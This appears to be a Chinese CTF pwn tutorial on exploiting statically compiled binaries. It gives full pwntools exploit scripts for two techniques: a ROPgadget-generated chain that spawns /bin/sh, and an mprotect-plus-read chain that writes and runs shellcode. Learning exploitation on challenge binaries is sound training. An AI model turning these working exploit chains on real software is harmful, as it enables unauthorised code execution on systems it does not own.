靜態編譯
1. 棧足夠大的情況下
-
程序在ida打開后,左側的函數欄目沒有紅色(系統調用的函數),而只有一些靜態函數,通常這類文件的大小會必普通的pwn題程序要大得多。
-
這種靜態編譯的題沒有調用庫函數,也就沒有使用libc,自然我們也沒法泄漏libc的基地址,可以直接使用
ROPgadget
來搜索,利用程序中的一些指令片段,來拼湊出call system("/bin/sh")
的效果。ROPgadget --binary rop --ropchain
-
搜索到的指令如下,指令平湊起來就相當于一個
call system("/bin/sh")
函數,在棧溢出的返回地址處填入這串指令的地址(也可以直接在ida中看到)即可順利執行: -
EXP:
from pwn import * from struct import pack context(os='linux', arch='amd64', log_level='debug')# p1=remote("node5.buuoj.cn",29851) p1 = process("./rop")p = b'a'*(0x0c+4) #下面是各種指令的地址 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b8016) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b8016) # pop eax ; ret p += b'//sh' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de769) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0806c943) # int 0x80 p1.sendline(p) p1.sendline(b"cat flag") p1.interactive()
2. 棧不夠大,需要往內存頁面上寫入mprotect函數修改內存頁面權限
-
ida打開,發現存在棧溢出,但是溢出的長度只有 0x64-0x12-0x4*2 ,不足以在棧上寫入有地址,所以要改變方法:往內存頁面上寫入shellcode,再執行。
-
往內存上寫數據前,要修改寫入頁面的權限為 可讀可寫可執行 ,mprotect函數的聲明,參數說明如下:
注意 :再指定內存頁面的起始地址時要保證 對齊 到頁面邊界上,即addr的第三位必須是 000(4) = 000000000000 保證其能被 4k = 1000000000000(2) = 0x1000(16) 整除,長度為4k=0x1000 的整數倍否則將報錯,最后內存保護標志可以按數字標記,將各個權限數字相加即可 可讀可寫可執行 = 0x7。
#include <sys/mman.h> int mprotect(void *addr, size_t len, int prot);
-
修改完內存頁面權限后就可以往上寫入shellcode代碼,利用read函數,傳入頁面的地址,寫入的大小,還有選項,最后read返回執行寫入的匯編代碼。
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show',28208)
elf = ELF('./pwn')
mprotect = elf.sym['mprotect']
read_addr = elf.sym['read']# pop_ebx_esi_ebp_ret = 0x080a019b # 0x080a019b : pop ebx ; pop esi ; pop ebp ; ret
# pop_ebx_esi_ebp_ret = 0x08056194 # 0x08056194 : pop eax ; pop edx ; pop ebx ; ret
# pop_ebx_esi_ebp_ret = 0x08061c3b # 0x08061c3b : pop edi ; pop esi ; pop ebx ; ret
pop_ebx_esi_ebp_ret = 0x08061c3b # 0x08069cbd : pop esi ; pop edi ; pop ebx ; ret#頁面起始地址
M_addr = 0x080Db000
#頁面大小
M_size = 0x1000
# 權限
M_proc = 0x7#調用protect函數修改內存頁面M_addr位置的權限,調用完成后利用pop+ret指令銜接到read函數
payload = cyclic(0x12+4) + p32(mprotect)
payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) + p32(M_proc)
#調用read函數向M_addr上寫入shellcode,最后退出read函數時ret調用M_addr處的shellcode代碼
payload += p32(read_addr)+ p32(M_addr) + p32(0) + p32(M_addr) + p32(M_size)#先發送一次payload,修改完權限,并且再read函數的等待輸入
io.sendline(payload)
shellcode = asm(shellcraft.sh())
#第二次發送payload,給read函數寫入shellcode代碼
io.sendline(shellcode)
io.recv()
io.interactive()